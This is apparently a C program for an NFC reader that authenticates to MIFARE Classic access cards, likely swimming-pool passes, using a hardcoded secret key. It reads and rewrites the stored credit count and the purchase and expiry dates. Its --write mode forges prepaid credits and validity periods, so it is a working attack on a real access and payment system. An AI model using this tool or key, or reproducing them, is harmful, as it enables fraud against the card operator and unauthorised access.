123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168 |
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <nfc/nfc.h>
- #include <freefare.h>
- #include "color.h"
- MifareClassicKey SecretKey[] = { 0x00, 0x01, 0x31, 0xB9, 0x3F, 0x28 };
- MifareClassicBlock data_read4;
- MifareClassicBlock data_read5;
- void show_menu(){
- printf("How it works? So easy !\n");
- printf(" --read\tRead credits and date\n");
- printf(" --write\tWrite <credit> <buy_date> <expire_date>\n");
- printf("\t\tEx: ./poolset --write 10 25/12/16 25/06/16\n\n");
- }
- void rw_tag(int coins, char *buy_date, char *expire_date) {
-
- nfc_context *context; //init libnfc
- nfc_device *pnd; //trouver un lecteur
- MifareTag *tags = NULL; //stockage des tags
- int i, nbsect;
- nfc_init(&context);
- if(context == NULL) {
- printf("[x] Unable to init libnfc !\n");
- exit(EXIT_FAILURE);
- }
- pnd = nfc_open(context, NULL);
- if (pnd == NULL) {
- printf("[x] Unable to open NFC device !\n");
- exit(EXIT_FAILURE);
- }
- tags = freefare_get_tags(pnd);
- printf("NFC reader: "ANSI_COLOR_GREEN"%s"ANSI_COLOR_RESET" opened and waiting for a tag\n", nfc_device_get_name(pnd));
- while(*tags == NULL) {
- printf(".");
- fflush(stdout);
- sleep(1);
- tags = freefare_get_tags(pnd);
- }
- printf("\n");
-
- for(i=0; tags[i]; i++) {
- switch(freefare_get_tag_type(tags[i])) {
- case MIFARE_CLASSIC_1K:
- printf("=> Tag number "ANSI_COLOR_YELLOW"%u"ANSI_COLOR_RESET" with UID "ANSI_COLOR_YELLOW"%s"ANSI_COLOR_RESET" type Mifare 1k (S50) found !\n", i, freefare_get_tag_uid(tags[i]) );
- break;
- case MIFARE_MINI:
- printf("=> Tag number "ANSI_COLOR_YELLOW"%u"ANSI_COLOR_RESET" with UID "ANSI_COLOR_YELLOW"%s"ANSI_COLOR_RESET" type Mifare Mini 0.3k (S50) found !\n", i, freefare_get_tag_uid(tags[i]) );
- break;
- default:
- printf(ANSI_COLOR_RED"[x] Wrong tag Mr Dugland !\n"ANSI_COLOR_RESET);
- break;
- exit(EXIT_FAILURE);
- }
- printf("=> Trying to authenticate with SecretKey "ANSI_COLOR_YELLOW"%.2x %.2x %.2x %.2x %.2x %.2x"ANSI_COLOR_RESET" ...\n", SecretKey[0][0], SecretKey[0][1], SecretKey[0][2], SecretKey[0][3], SecretKey[0][4], SecretKey[0][5]);
- //Check for a good tag type
- if(mifare_classic_connect(tags[i]) == OPERATION_OK) {
- printf(ANSI_COLOR_GREEN"=> Mifare tag connected !\n"ANSI_COLOR_RESET);
- }
- else printf(ANSI_COLOR_RED"Non ca chie dans la colle mais grave, ton tag est moisi\n"ANSI_COLOR_RESET);
-
- //Authenticating the tag
- if(mifare_classic_authenticate(tags[i], 5, SecretKey[0], MFC_KEY_A) == OPERATION_OK) {
- printf(ANSI_COLOR_GREEN"=> Tag authenticated !\n"ANSI_COLOR_RESET);
- }
- else printf(ANSI_COLOR_RED"Non ca chie dans la colle mais grave, check ta clé\n"ANSI_COLOR_RESET);
- //Check of arguements in rw_tag() for read only or write/read
- if((coins != 0 || coins == 0) && buy_date != NULL && expire_date != NULL) {
- char *token;
- token = strtok (buy_date,"/");
- int j=0;
- while (token != NULL) {
- printf ("%s ", token);
- data_read5[j] = atoi(token);
- j++;
- token = strtok (NULL, "/");
- }
- token = strtok (expire_date, "/");
- while (token != NULL) {
- printf ("%s ", token);
- data_read5[j] = atoi(token);
- j++;
- token = strtok (NULL, "/");
- }
- data_read5[6] = 0;
- data_read5[7] = coins;
- printf("=> Writing new datas...\n");
- if(mifare_classic_write(tags[i], 5, &data_read5) == OPERATION_OK) {
- if(mifare_classic_read(tags[i], 5, &data_read5) == OPERATION_OK) {
- printf("=> "ANSI_COLOR_GREEN"%.2d"ANSI_COLOR_RESET" credits found now !\n", data_read5[7]);
- }
- }
- printf("Reading a second time to check...\n");
- }
- if( (mifare_classic_read(tags[i], 5, &data_read5) == OPERATION_OK)
- &&
- (mifare_classic_read(tags[i], 4, &data_read4) == OPERATION_OK) )
- {
- printf(ANSI_COLOR_YELLOW"=-=-=-=-=-=-=- INFOS -=-=-=-=-=-=-=-=\n"ANSI_COLOR_RESET);
- printf(" => Company Serial :\t"ANSI_COLOR_YELLOW"%.2x %.2x %.2x %.2x\n"ANSI_COLOR_RESET, data_read4[0], data_read4[1], data_read4[2], data_read4[3]);
- printf(" => Credits :\t\t"ANSI_COLOR_YELLOW"%.2d\n"ANSI_COLOR_RESET, data_read5[7]);
- printf(" => Buy date :\t\t"ANSI_COLOR_YELLOW"%.2d/%.2d/%.2d\n"ANSI_COLOR_RESET, data_read5[0], data_read5[1], data_read5[2]);
- printf(" => Expiration date :\t"ANSI_COLOR_YELLOW"%.2d/%.2d/%.2d\n"ANSI_COLOR_RESET, data_read5[3], data_read5[4], data_read5[5]);
- if (data_read5[7] == 0) {
- printf(" => Type : "ANSI_COLOR_YELLOW"\t\tFull access tag (Probably)\n"ANSI_COLOR_RESET);
- printf(" => Last validation :\t"ANSI_COLOR_YELLOW"%.2d/%.2d/%.2d at %.2d:%.2d\n"ANSI_COLOR_RESET,
- data_read5[8], data_read5[9], data_read5[10], data_read5[11], data_read5[12]);
- }
- else
- printf(" => Type : "ANSI_COLOR_YELLOW"\t\tCredited card\n"ANSI_COLOR_RESET);
- //printf(" => Card keeped :\t");
- }
- mifare_classic_disconnect(tags[i]);
- break;
- }
- freefare_free_tags(tags);
- nfc_close(pnd);
- nfc_exit(context);
- exit(EXIT_SUCCESS);
- }
- int main(int argc, const char **argv) {
- printf("=========================\n");
- printf("RFID Poolset Read/Write !\n");
- printf("=========================\n");
- if (argc <= 1) {
- show_menu();
- exit(1);
- }
- if (strcmp(argv[1], "--read") == 0)
- rw_tag(NULL, NULL, NULL);
-
- if (strcmp(argv[1], "--write") == 0)
- rw_tag(atoi(argv[2]), argv[3], argv[4]);
- exit(0);
- }
|